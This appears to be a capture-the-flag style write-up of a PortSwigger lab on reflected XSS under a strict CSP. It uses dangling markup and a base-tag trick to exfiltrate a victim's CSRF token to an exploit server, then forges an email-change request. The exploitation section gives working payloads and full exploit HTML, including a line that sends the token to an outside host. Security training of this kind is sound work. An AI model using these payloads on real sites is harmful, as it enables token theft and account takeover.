Reflected XSS protected by very strict CSP, with dangling markup attack | Jan 2, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected XSS protected by very strict CSP, with dangling markup attack! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
Background
This lab using a strict CSP that blocks outgoing requests to external web sites.
To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to hacker@evil-user.net
.
You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:
<a href="">Click me</a>
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Home page:
Login as user wiener
:
In here, we can update our email.
Let’s try to update it:
Burp Suite HTTP history:
When we clicked the Update email
button, it’ll send a POST request to /my-account/change-email
with parameter email
and csrf
.
We also see CSP (Content Security Policy) is enabled:
Content-Security-Policy: default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';
However, we can see object-src
base-uri
is set to none
.
Now, we can try to provide a GET parameter email
in the URL:
As you can see, our input is reflected to the <input>
tag’s value.
In here, we can try to inject some JavaScript code via dangling markup injection:
my-account?email="><img src=errorpls onerror=alert(document.domain) x="
However, the CSP blocked the alert()
JavaScript function, as the script-src
is set to self
.
Now, since CSP’s base-uri
is set to none
, we can leverage the <base>
tag to exfiltrate the CSRF token.
According to HackTricks, we can do that:
Let’s use the exploit server:
Payload:
my-account?email="><a href="https://exploit-0a89002e0459822cc1ae162701c40031.exploit-server.net/exploit">Click me to update email</a><base target='
When we click the link, it’ll redirect to our exploit server’s exploit payload, with the CSRF token.
Let’s go to the exploit server do exfiltration:
<html>
<head>
<title>XSS-29</title>
</head>
<body>
<script>
if(window.name) {
new Image().src='//exploit-0a89002e0459822cc1ae162701c40031.exploit-server.net/log?'+encodeURIComponent(window.name);
} else {
window.location.replace('https://0a81003404868282c10c179800fd00e3.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a89002e0459822cc1ae162701c40031.exploit-server.net/exploit%22%3EClick%20me%20to%20update%20email%3C/a%3E%3Cbase%20target=%27');
}
</script>
</body>
</html>
To test it, we can click “Store” and “View exploit”:
When we clicked “View exploit”, the exploit HTML code will redirect us to our XSS payload:
Then, if the we click on our payload, it’ll send the CSRF token to exploit server’s access log:
URL decoded:
">
<input required type="hidden" name="csrf" value="JqFRqnLcMIG8Qvt6KFvHjqJYV2uBj48t">
<button class=
Now, let’s click “Deliver exploit to victim” to capture his/her CSRF token:
Access log:
URL decoded:
">
<input required type="hidden" name="csrf" value="iT656UfZGanewC5gcF46iKOlOzZXorx2">
<button class=
Nice! Victim’s CSRF token: iT656UfZGanewC5gcF46iKOlOzZXorx2
Armed with above information, we can perform CSRF attack, which changes victim’s email to our controlled email address.
Final CSRF attack payload:
<html>
<head>
<title>XSS-29</title>
</head>
<body>
<!-- Construct a form that performs CSRF attack, which changes victim's email address to hacker@evil-user.net-->
<form name="csrfform" method="post" action="https://0a81003404868282c10c179800fd00e3.web-security-academy.net/my-account/change-email">
<input type="hidden" id="csrf" name="csrf" value="" />
<input type="hidden" name="email" value="hacker@evil-user.net" />
</form>
<script>
// If the window.name object exist, then: (This is included in the <base> element in our XSS payload.)
if(window.name) {
// Extract victim's CSRF token in window's object name, at string length 80 - 112
var CSRFToken = window.name.slice(80,112);
// Update our CSRF form's CSRF value to the victim ones
document.getElementById('csrf').value = CSRFToken;
// Automatically submit the form
document.forms['csrfform'].submit();
// If no window.name object, then:
} else {
// Redirect to our XSS via dangling markup injection payload
window.location.replace('https://0a81003404868282c10c179800fd00e3.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a89002e0459822cc1ae162701c40031.exploit-server.net/exploit%22%3EClick%20me%20to%20update%20email%3C/a%3E%3Cbase%20target=%27');
}
</script>
</body>
</html>
Finally, we can deliver the exploit to victim:
We did it!
What we’ve learned:
- Reflected XSS protected by very strict CSP, with dangling markup attack